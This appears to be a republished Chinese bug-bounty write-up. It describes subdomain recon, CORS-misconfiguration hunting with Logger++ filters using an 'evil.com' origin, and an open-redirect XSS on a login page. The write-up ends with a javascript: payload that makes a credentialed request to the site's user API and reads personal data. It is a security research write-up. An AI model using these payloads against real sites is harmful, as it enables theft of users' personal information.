通过xss所引起的信息泄露
2023-12-24 21:42:22 Author: mp.weixin.qq.com(查看原文) 阅读量:30 收藏

正文

信息搜集,通过google语法:


site:"*.redacted.com"

优化一下:

site:"*.redacted.com" -www -blog -mail

之后,利用subfinder、assetfinder和masass等被动枚举工具收集与目标相关的子域列表,并将它们保存在一个文本文件中。

subfinder -d redacted.com -all -silent -nc -o subdomains.txt

assetfinder --subs-only redacted.com | sort -u >> subdomains.txt

amass enum -passive -d redacted.com -silent -nocolor | sort -u >> subdomains.txt

sort -u命令用于消除重复项。

后面进行dns解析:

shuffledns -d redacted.com -r massdns/lists/resolvers.txt -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt -silent -nc | sort -u >> subdomains.txt

利用Shuffledns工具执行子域暴力执行,并将结果输出保存在名为subdomains.txt的文件中。


cat subdomains.txt | alterx -silent -o subdomain-permutation.txt

除了其他工具外,还可以使用dnsgen工具。在进行DNS解析时,这里使用了massdns工具。虽然dnsx也是一个可行的选择,但之前的测试显示massdns的执行速度要快得多。

cat subdomain-permutation.txt | massdns -r /root/massdns/lists/resolvers.txt -o L -w dns-resolving.txt

下一步是服务发现,使用httpx工具完成

cat dns-resolving.txt | httpx -sc -title -td -favicon -asn -silent -nc -o service-discovery.txt

使用Burp Suite来捕获请求和响应。

使用Logger++这个插件,允许我们定义高级过滤器,以根据日志识别可疑或易受攻击的接口。

搜索的时候,这里推荐使用以下的关键词:

Request.Headers CONTAINS "origin" AND (Response.Headers CONTAINS "Access-Control-Allow-Credentials" OR Response.Headers CONTAINS "Access-Control-Allow-Origin")

上面这个搜索可以发现Cors错误配置漏洞

也可以将Logger++与AutoRepeater扩展结合使用。在AutoRepeater中,添加一个替换(replacement),将源标头添加或替换为标头中的所需值。

或者

在Logger++中,除了AutoRepeater之外,还可以应用过滤器(filter)来查找易受攻击的接口。

Request.Headers CONTAINS "origin: evil.com" AND (Response.Headers CONTAINS "Access-Control-Allow-Credentials" OR Response.Headers CONTAINS "Access-Control-Allow-Origin: evil.com")

使用Logger++并应用了第一个过滤。通过将其中一个可疑端点发送到Repetear,发现只有子域容易受到攻击。

注意到某个端点的Response Body显示了个人信息,如全名、电子邮件地址和手机号码。这让我更加坚定了在目标子域上搜索XSS漏洞的决心。继续检查前面EyeWitness工具的输出,几分钟后,发现了一个可疑的登录页面,它可能有一个打开的重定向和XSS漏洞。

https://subdomain.redacted.com/login/mobile?next=https://subdomain.redacted.com

首先,检查开放重定向漏洞,然后进行 XSS 测试。

https://subdomain.redacted.com/login/mobile?next=javascript:alert(document.domain)

在输入手机号码和验证码后执行了xss。

反复测试之后,发现了一个利用这两个问题来实现预期结果的漏洞。

https://subdomain.redacted.com/login/mobile?next=javascript:function(){var xhttp=new XMLHttpRequest();xhttp.onreadystatechange=function(){if(xhttp.readyState==4&&xhttp.status==200){alert(xhttp.responseText);}};xhttp.open("GET","https://api.redacted.com/api/v2/user",true);xhttp.withCredentials=true;xhttp.send();})();

再次登录后,执行JavaScript代码并显示用户信息。

如果你是一个长期主义者,欢迎加入我的知识星球(优先查看这个链接,里面可能还有优惠券),我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款

往期回顾

xss研究笔记

SSRF研究笔记

dom-xss精选文章

2022年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247493115&idx=1&sn=f7138526fd69189b2497e34984254071&chksm=e8a5ef98dfd2668eb85f71443f4e12ed34b8b78595d4797fefb4a99b13c32a8de2cdd45e74c8&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh